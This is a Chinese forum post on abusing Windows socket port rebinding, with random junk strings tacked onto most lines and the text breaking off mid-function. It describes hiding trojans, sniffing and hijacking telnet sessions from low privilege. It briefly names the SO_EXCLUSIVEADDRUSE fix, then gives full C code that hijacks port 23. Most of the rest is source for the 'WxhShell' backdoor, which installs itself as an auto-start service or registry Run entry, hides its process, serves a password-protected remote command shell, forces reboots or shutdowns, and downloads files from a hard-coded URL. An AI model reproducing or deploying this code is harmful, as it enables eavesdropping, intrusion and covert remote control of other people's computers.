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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;[ QIHA!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yr},pB  
p^Ey6,!8]D  
  saddr.sin_family = AF_INET; m u9,vH  
fL| 9/sojz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ct `)R  
O h e^{:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (.$$U3\  
{qHQ_ _Bl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YQD `4ND  
X}'rPz\Lu  
  这意味着什么?意味着可以进行如下的攻击: `pfgx^qG  
_kBmKE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n}Z%-w$K#  
P\dfxR;8%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L<dh\5#p9Y  
pbG-uH^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N|mggz  
J PTLh{/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J <z ^C  
5:38}p9`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7d.H 8C2  
$E[O}+L$#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <q'?[aKvR  
;L:UYhDbUx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5dv|NLl  
@wD#+Oz  
  #include O)^F z:  
  #include \GHj_r  
  #include gIweL{Pc  
  #include    i+S%e,U*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?6*\  M  
  int main() `%|3c  
  { vV"YgN:  
  WORD wVersionRequested; .K^gh$z!  
  DWORD ret; q>%.zc[x  
  WSADATA wsaData; rui 8x4c  
  BOOL val; '\QJ{/JV  
  SOCKADDR_IN saddr; :JBt qpo2  
  SOCKADDR_IN scaddr; MA{ZmPm)  
  int err; I[A<e]uK  
  SOCKET s; DPY+{5q2  
  SOCKET sc; r!w4Br0  
  int caddsize; PM@_ZJ 'x  
  HANDLE mt; lrPIXIM  
  DWORD tid;   |9i[*]  
  wVersionRequested = MAKEWORD( 2, 2 ); 9k93:#{WE  
  err = WSAStartup( wVersionRequested, &wsaData ); M%jR`qVFg.  
  if ( err != 0 ) { X%I@4 B7Ts  
  printf("error!WSAStartup failed!\n"); R{H8@JLD  
  return -1; "uZ^zV`"  
  } ]hlQU%&  
  saddr.sin_family = AF_INET; xTG5VBv  
   S9*68l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 KD\%B5Jy  
Rex 86!TO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *B4OvHi)'  
  saddr.sin_port = htons(23); *pO`sC>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bfb9A+]3'  
  { ~Q^.7.-T  
  printf("error!socket failed!\n"); hH$9GL{H  
  return -1; >8>s K(S]  
  } Z!q$d/1  
  val = TRUE; Jl\U~i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \1?'JdN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `+."X1  
  { Q-iBK*-w  
  printf("error!setsockopt failed!\n"); @(6P L^I  
  return -1; iqoMQ7%  
  } tw 3zw`o:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; owa&HW/_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uu-M7>+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0WZd$  
 ^[I> #U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) yz>S($u  
  { /^K-tz-R  
  ret=GetLastError(); \0i0#Dt9  
  printf("error!bind failed!\n"); ;fQIaE&H  
  return -1; "\lO Op^-  
  } v! DU ewz  
  listen(s,2); y]!#$C /  
  while(1) Lf.Ia *R:  
  { {qSMJja!t  
  caddsize = sizeof(scaddr); 6*1f -IbV  
  //接受连接请求 $? Z}hU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .LM|@OeaD!  
  if(sc!=INVALID_SOCKET) _`*G71PS  
  { //3fgoly  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `"V}Wq ?I  
  if(mt==NULL) lwG)&qyVd  
  { rw 2i_,.*~  
  printf("Thread Creat Failed!\n"); B}zBbB  
  break; ;*Mr(#R  
  } !gsrPM  
  } 1#|lt\T  
  CloseHandle(mt); O|Y`:xvc  
  } J}-e9vK-#  
  closesocket(s); 4F -<j!  
  WSACleanup(); $Ups9pQ  
  return 0; xqDz*V/mD  
  }   CG35\b;Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) mWP&N#vwh  
  { av'[k<  
  SOCKET ss = (SOCKET)lpParam; # dUi['  
  SOCKET sc; Q"!GdKM  
  unsigned char buf[4096]; lkp$rJ#6  
  SOCKADDR_IN saddr; `.~*pT*u  
  long num; Yp3y%n  
  DWORD val; _9=cxwi<w  
  DWORD ret; !u:;Ew  
  //如果是隐藏端口应用的话,可以在此处加一些判断 '19?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H:Q4!<  
  saddr.sin_family = AF_INET; benqm ~{\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O#{`Fj`  
  saddr.sin_port = htons(23); /,< s9 :  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ))X"bFP!3  
  { I4 <_y5  
  printf("error!socket failed!\n"); 1(i%nX<U  
  return -1; fG8^|:  
  } Ss+  
  val = 100; t,A=B(W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g^#,!e  
  { g&_f%hx?  
  ret = GetLastError(); xMpgXB!'  
  return -1; 4qd( a)NdY  
  } l%u8Lq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UsCaO<A  
  { 150x$~{/  
  ret = GetLastError(); 8wkt9:  
  return -1; yr.sfPnJK  
  } ,CBE&g  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J{5p4bkb  
  { 0\k {v  
  printf("error!socket connect failed!\n"); Lv)1 )'v0  
  closesocket(sc); yYTOp^  
  closesocket(ss); +sq_fd ;'D  
  return -1; b`GKGqbJ  
  } X #$l7I9H  
  while(1) Qip@L WvT  
  { Osy_C<O  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v4X ` Ul*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Da)_OJYE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 & \C1QkI  
  num = recv(ss,buf,4096,0); j]mnH`#BL  
  if(num>0) `O%O[  
  send(sc,buf,num,0); L@?3E`4/v  
  else if(num==0) V1Gnr~GM  
  break; aM_O0Rn==  
  num = recv(sc,buf,4096,0); ^ME'D  
  if(num>0) fL-$wK<p<  
  send(ss,buf,num,0); V he$vH  
  else if(num==0) u3Zu ~C  
  break; X<v1ES$  
  } /z}b1m+  
  closesocket(ss); ^oE#;aS  
  closesocket(sc); u2[L^]|  
  return 0 ; d+ [2Sm(7  
  } ZC^NhgX  
PH^Gjm  
_ib @<%  
========================================================== AW!A +?F6  
iG=Di)O  
下边附上一个代码,,WXhSHELL }{&;\^i  
CHCT e  
========================================================== [;~"ctf{  
+A$>F@u  
#include "stdafx.h" *q[;-E(fZ#  
eq<!  
#include <stdio.h> j0{Qy;wP )  
#include <string.h> >V\^oh)t]t  
#include <windows.h> |GP&!]  
#include <winsock2.h> 5-&"nn2*}1  
#include <winsvc.h> *|@386\  
#include <urlmon.h> $e  uI  
PY+4OZ$  
#pragma comment (lib, "Ws2_32.lib") Qf'g2 \  
#pragma comment (lib, "urlmon.lib") "];@N!dA  
z'"Y+EWN  
#define MAX_USER   100 // 最大客户端连接数 [1z.JfC :S  
#define BUF_SOCK   200 // sock buffer :" @-Bcln  
#define KEY_BUFF   255 // 输入 buffer bg)}-]u]  
g^\!> i  
#define REBOOT     0   // 重启 h7o.RRhK  
#define SHUTDOWN   1   // 关机 $Fy >N>,E(  
$ 1m}lXk  
#define DEF_PORT   5000 // 监听端口 T)ISDK4>S"  
M[Nv>  
#define REG_LEN     16   // 注册表键长度 4_$.gO  
#define SVC_LEN     80   // NT服务名长度 K7nyQGS  
> +00[T  
// 从dll定义API 9}4~3_gv;M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jmP;(j.|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ',rK\&lL6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (I35i!F+tY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -_O j iQ R  
jCIY(/  
// wxhshell配置信息 +B&+FGfNU  
struct WSCFG { 1Lp; LY"_  
  int ws_port;         // 监听端口 ?a1pO#{Dg  
  char ws_passstr[REG_LEN]; // 口令 6)20%*[  
  int ws_autoins;       // 安装标记, 1=yes 0=no +m/n~-6q  
  char ws_regname[REG_LEN]; // 注册表键名 M9Nr/jE  
  char ws_svcname[REG_LEN]; // 服务名 :l?mNm5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2. {/ls  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TgHUH>k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]M'~uTf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6}|h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~-R2mAUK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K{B|  
e,W,NnCICj  
}; "7j E&I  
4G XS(  
// default Wxhshell configuration <z>oY2%  
struct WSCFG wscfg={DEF_PORT, $q .}eb0  
    "xuhuanlingzhe", QBN\wL8g  
    1, v53|)]V  
    "Wxhshell", ~03MH'  
    "Wxhshell", #l7v|)9v  
            "WxhShell Service", k_Y7<z0G  
    "Wrsky Windows CmdShell Service", es=OWJt^  
    "Please Input Your Password: ", Ki&a"Fu3  
  1, YBF$/W+=9|  
  "http://www.wrsky.com/wxhshell.exe", < $otBC/%  
  "Wxhshell.exe" Htln <N  
    }; & Y2xO  
4%I[.dBnM  
// 消息定义模块 SQ/HZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1uB$@a\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #VVfHCy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nr,Z0  
char *msg_ws_ext="\n\rExit."; ErQ6a%~,  
char *msg_ws_end="\n\rQuit."; $J&c1  
char *msg_ws_boot="\n\rReboot..."; hhFO,  
char *msg_ws_poff="\n\rShutdown..."; 7T t!h f  
char *msg_ws_down="\n\rSave to "; Z&P\}mm   
0r8Wv,7Bo  
char *msg_ws_err="\n\rErr!"; @2 *Q*  
char *msg_ws_ok="\n\rOK!"; =)gdxywoC  
WIpV'F|t]`  
char ExeFile[MAX_PATH]; fGRV]6?V  
int nUser = 0; 6<R[hIWpZ}  
HANDLE handles[MAX_USER]; 5NH4C  
int OsIsNt; 4-Jwy  
K>b4(^lf  
SERVICE_STATUS       serviceStatus; X8N9*v y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3wcF R0f  
xgpf2y!{  
// 函数声明 3JkdPh  
int Install(void); c"pOi&  
int Uninstall(void); 5Dz$_2oM3  
int DownloadFile(char *sURL, SOCKET wsh); 9cU9'r# h  
int Boot(int flag); _{gqi$Mi  
void HideProc(void); 2gMG7%d  
int GetOsVer(void); GNq f  
int Wxhshell(SOCKET wsl); bovAFdHW  
void TalkWithClient(void *cs); M}f(-,9  
int CmdShell(SOCKET sock); CjP<'0gT  
int StartFromService(void); r@bh,U$  
int StartWxhshell(LPSTR lpCmdLine); T#*H  
22U`1AD3U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AS re@pW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5,g +OY=\  
v\@RwtP  
// 数据结构和表定义 PLMC<4$s  
SERVICE_TABLE_ENTRY DispatchTable[] = Ki7t?4YE  
{ mtn^+*  
{wscfg.ws_svcname, NTServiceMain}, U V*Ruy-  
{NULL, NULL} 7 ]ysvSM  
}; KB(W'M_D\  
C H 29kQ  
// 自我安装 NY.* S6  
int Install(void) ~(kqq#=s  
{ o[fg:/5)A  
  char svExeFile[MAX_PATH]; 7v)p\#-  
  HKEY key; kc't  
  strcpy(svExeFile,ExeFile);  X0$q !  
v+W'0ymbnV  
// 如果是win9x系统,修改注册表设为自启动 N'R^gL  
if(!OsIsNt) { }2Euz.0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pt,L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a !%,2|U  
  RegCloseKey(key); K,,) FM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w}zmcO:x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?+^p$'5  
  RegCloseKey(key); g$?^bu dxv  
  return 0; Q{L:pce-  
    } l:uQ#Z)  
  } V K 7  
} ,w H~.LHi  
else { F P|cA^$<  
*4}NLUVX  
// 如果是NT以上系统,安装为系统服务 VJ&<6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,m5i(WL  
if (schSCManager!=0) p\lR1  
{ UU MB"3e  
  SC_HANDLE schService = CreateService 6[c|14l  
  ( !$oa6*<1  
  schSCManager, %xOxMK@  
  wscfg.ws_svcname, )H{1 Xjh-  
  wscfg.ws_svcdisp, tHZ"o!(S  
  SERVICE_ALL_ACCESS, Zr2!}jD9a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L\:m)g,F.  
  SERVICE_AUTO_START, Ez5t)l-  
  SERVICE_ERROR_NORMAL, iae NY;T  
  svExeFile, fs&$?mHL){  
  NULL, -P/DmSS8V  
  NULL, kwc Cf2  
  NULL, J 3C^tV  
  NULL, RO,TNS~  
  NULL 7Y(Dg`8G  
  ); a*U[;(  
  if (schService!=0) jTIG#J)  
  { Y$A2{RjRq  
  CloseServiceHandle(schService); ng!cK<p  
  CloseServiceHandle(schSCManager); i\ X3t5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +KIz#uqF8Z  
  strcat(svExeFile,wscfg.ws_svcname); 85q/|9D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YRX^fZ-b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,v>;/qm  
  RegCloseKey(key); %\HPYnIe  
  return 0; _G/ R;N71  
    } jgIG";:Q  
  } m{ !$_z8:  
  CloseServiceHandle(schSCManager); zdRVAcrwQ  
} tJrGRlB>  
} 4=Ru{ewRV  
xL"J?Gy  
return 1; ~44u_^a  
} az0=jou<Zl  
aH'fAX0bF  
// 自我卸载 9]oT/ooM  
int Uninstall(void) BoYY^ih  
{ `v``}8tm  
  HKEY key; 8VMA~7^  
\]]K{DO  
if(!OsIsNt) { |xFA}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~rdS#f&R2  
  RegDeleteValue(key,wscfg.ws_regname); ZF[W<Q  
  RegCloseKey(key); 1LRP R@b^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [,AFtg[  
  RegDeleteValue(key,wscfg.ws_regname); S*h^7?Bu  
  RegCloseKey(key); if|5v^/  
  return 0; 9=MNuV9/s  
  } }_zN%Tf~  
} )- &@ 8`  
} t,|Apl]  
else { O@a OKk  
&'W7-Z\j-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?j.a>{  
if (schSCManager!=0) Q!@M/@-Ky  
{ |ffHOef  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K?' m#}]  
  if (schService!=0) )2?]c  
  { -^CW}IM{ I  
  if(DeleteService(schService)!=0) { w!6{{m  
  CloseServiceHandle(schService); E0+L?(;  
  CloseServiceHandle(schSCManager); sT2`y$ '  
  return 0; =f!A o:Uc  
  } RxYENG]/6  
  CloseServiceHandle(schService); }'eef"DJ9  
  } a~0 ~Y y  
  CloseServiceHandle(schSCManager); FXJ0 G>F  
} %u66H2  
} 5 _E8 RAG  
?5nEmG|kO  
return 1; 7wh4~  
} <|_>r`@%l  
+a.2\Qt2A  
// 从指定url下载文件 2 {b/*w  
int DownloadFile(char *sURL, SOCKET wsh) ZL<X* l2  
{ F8-GnT xa  
  HRESULT hr; SED52$zA  
char seps[]= "/"; Wn@oG@}~  
char *token; (x2?{\?  
char *file; h#r~2\q4ei  
char myURL[MAX_PATH]; / e>%yq<9B  
char myFILE[MAX_PATH]; f )T\  
>o1dc*  
strcpy(myURL,sURL); piM4grg \  
  token=strtok(myURL,seps); $TXiWW+  
  while(token!=NULL) |hika`35K  
  { g ,JfT^  
    file=token; .4%z$(+6  
  token=strtok(NULL,seps); 3(V0,L'1  
  } i&>^"_4rc  
}jCO@v;  
GetCurrentDirectory(MAX_PATH,myFILE); i;^lh]u  
strcat(myFILE, "\\"); Gb `)d  
strcat(myFILE, file); UVD D)  
  send(wsh,myFILE,strlen(myFILE),0); M@{?#MkS%  
send(wsh,"...",3,0); JyE-c}I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xcW\U^1d  
  if(hr==S_OK) aJ(/r.1G  
return 0; Y`j$7!j  
else L'{W|Xb+  
return 1; c<|y/n  
(7G4v  
} E42)93~C  
rt*x[5<  
// 系统电源模块 8*0QVFn$  
int Boot(int flag) Bp7p X  
{ Li5&^RAo|J  
  HANDLE hToken; ?m*e$!M0  
  TOKEN_PRIVILEGES tkp; NuR7pjNMZ  
:38{YCN  
  if(OsIsNt) { p\ =T#lb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uG7]s]Wdz;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $f3IO#N  
    tkp.PrivilegeCount = 1; >1!u]R<3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G%bv<_R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J "I,]  
if(flag==REBOOT) { akyMW7'3V<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bp9RF d{  
  return 0; >p-UQc  
} M{X; H'2  
else { I5W#8g!{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |1m2h]];Q  
  return 0; `Oe}OSxnT  
} 3Zm;:v4y  
  } 88zK)k{  
  else { BHS8MV L@  
if(flag==REBOOT) { KY9@2JG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &hIr@Gi@ch  
  return 0; ^{64b  
} e @|uG%  
else { -D wO*f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -'j|U[&N\  
  return 0; *,Sa*-7(  
} .s3y^1C  
} D|/ 4),v  
^7Z.~A y  
return 1; Y-]Ne"+vf  
} ifadnl26 s  
Gp1?drF6  
// win9x进程隐藏模块 eMUt%zvb  
void HideProc(void) P A$jR fQ  
{ kp,$ NfD  
b25C[C5C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <a& $D  
  if ( hKernel != NULL ) hJ~=eYK?J  
  { wU&vkb)k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Gi,4PD-ro  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); knRs{1}Pw{  
    FreeLibrary(hKernel); ^x}k1F3  
  } x,QXOh\a  
sE\Cv2Gx  
return; Tuy5h 5  
} q)y<\cEO  
{br6*  
// 获取操作系统版本 y2>AbrJ  
int GetOsVer(void) R(#ZaFuo[  
{  $kY ]HI  
  OSVERSIONINFO winfo; \C"hL(4-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BB? 4>#D  
  GetVersionEx(&winfo); m@g9+7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EskD)Sl   
  return 1; =L, 7~9  
  else +.66Ky`|[  
  return 0; ZP"Xn/L  
} N"zm  
e0`5PVJ  
// 客户端句柄模块 Vv*](iM  
int Wxhshell(SOCKET wsl) + y|Q7+  
{ B5!|L)7>{p  
  SOCKET wsh; 70N Lv  
  struct sockaddr_in client; X 3(*bj>P  
  DWORD myID; T0%l$#6v  
Mo[yRRS#  
  while(nUser<MAX_USER) A{ . A1  
{ ??,/85lM  
  int nSize=sizeof(client); VB}^&{t)!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x\K,@  
  if(wsh==INVALID_SOCKET) return 1; |6b&khAM  
:[ll$5E.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J{PNB{v  
if(handles[nUser]==0) G@o\D-$  
  closesocket(wsh); *Jg&:(#}<J  
else (vwKC D&  
  nUser++; k6(0:/C  
  } l6pvQ|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v`r*Yok;`  
|_%q@EID  
  return 0; T< o8lL  
} *JiI>[  
1 abQoe  
// 关闭 socket B$_-1^L e  
void CloseIt(SOCKET wsh) !qug^F  
{ 9rgvwko  
closesocket(wsh); X1^Q1?0  
nUser--; qzi i[Mf  
ExitThread(0); FR6 PY  
} O+ xzM[[  
4z,/0  
// 客户端请求句柄 F?b"Rv  
void TalkWithClient(void *cs) Zo}vV2  
{ Z~ u3{  
fY!9i5@'  
  SOCKET wsh=(SOCKET)cs; {ukQBu#}<  
  char pwd[SVC_LEN]; !twYjOryH[  
  char cmd[KEY_BUFF]; ma@!"Z8 S  
char chr[1]; JHg y&/  
int i,j; [rReBgV  
lec3rv0)  
  while (nUser < MAX_USER) { |*N;R+b  
N@V:nCl  
if(wscfg.ws_passstr) { T (? CDc+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (9v%66y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G$;cA:p-j  
  //ZeroMemory(pwd,KEY_BUFF); "0J;H#Y"#  
      i=0; <l<6W-I   
  while(i<SVC_LEN) { yBfX4aH:`  
$ U-#woXa  
  // 设置超时 5'n$aFqI  
  fd_set FdRead; _3q}K  
  struct timeval TimeOut; Zhc99L&K  
  FD_ZERO(&FdRead); m[s$)-T  
  FD_SET(wsh,&FdRead); DC2[g9S>8@  
  TimeOut.tv_sec=8; K7wU tg  
  TimeOut.tv_usec=0; h8icF}m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [R<>3}50Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *s|'V+1  
j eyGIY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hp}JKj@  
  pwd=chr[0]; -!IeP]n#P  
  if(chr[0]==0xd || chr[0]==0xa) { t)4] 2z)$  
  pwd=0; =A(Az  
  break; :jFZz%   
  } $0Un'"`S  
  i++; R]4 h)"  
    } ~"r(PCa@  
f(T`(pX0V  
  // 如果是非法用户,关闭 socket H/ar: j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I/go$@E"  
}  7MQxW<0  
b;5 M$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Av!xI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |v_ttJ;+Y  
&.P G2f*  
while(1) { HF*j=qt!  
n _kE  
  ZeroMemory(cmd,KEY_BUFF); ' 1X^@]+6  
,>Dpt <  
      // 自动支持客户端 telnet标准   Wu'9ouw!  
  j=0; A[uB)wWsn  
  while(j<KEY_BUFF) { Jv?EV,S/e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); */4hFD {  
  cmd[j]=chr[0]; <TgVU.*  
  if(chr[0]==0xa || chr[0]==0xd) { k\IdKiOj!D  
  cmd[j]=0; 9*VL|  
  break; /q) H0b  
  } V,]Fh5f  
  j++; ?Cv([ ^Y.u  
    } |\W~+}'g~  
,JfP$HJ  
  // 下载文件 {+V ]@sz  
  if(strstr(cmd,"http://")) { 3!`_Q%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  2.'hr/.  
  if(DownloadFile(cmd,wsh)) &ju.5v|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <MoyL1=  
  else ijKQ`}JA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dtig_s,)D  
  } f6 s .xQ  
  else { 9U Hh#  
* bUOd'vh  
    switch(cmd[0]) { gy xC)br  
  p$cb&NNh*H  
  // 帮助 LuVL <W  
  case '?': { $@84nR{>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v>_83P`  
    break; 8~3I^I_v  
  } `cPZsL  
  // 安装 8Yo;oHk7  
  case 'i': { m]c1DvQb  
    if(Install()) ()5X<=i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =]1cVnPI  
    else =,8nfJ+x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,P=.x%  
    break; rp|A88Q/!  
    } 35L\  
  // 卸载 7MsJ*E n  
  case 'r': { h.kjJF  
    if(Uninstall()) U5p3b;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ 4*#QtO  
    else s"p\-Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W)8Pq9Hnv  
    break; G!o6Y:1!  
    } I@TH^8(  
  // 显示 wxhshell 所在路径 N1"p ;czK  
  case 'p': { v Ov"^X  
    char svExeFile[MAX_PATH]; #/H Z[Vw  
    strcpy(svExeFile,"\n\r"); 8Wgzca Q*  
      strcat(svExeFile,ExeFile); /T+%q#4  
        send(wsh,svExeFile,strlen(svExeFile),0); )TEod!]  
    break; >E3-/)Ti  
    } $F NH:r<  
  // 重启 N%%trlDXD  
  case 'b': { Lcf?VV}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U2CC#,b!(  
    if(Boot(REBOOT)) `U&'71B^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1L?d/j  
    else { 204"\ mv  
    closesocket(wsh); #qv!1$}2  
    ExitThread(0); u=Xpu,q  
    } P"o|kRO  
    break; ! Y&]Y G  
    } ct<XKqbI  
  // 关机 m#4h5_N  
  case 'd': { iJ @p:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,C|{_4  
    if(Boot(SHUTDOWN)) pCC^Hxa  
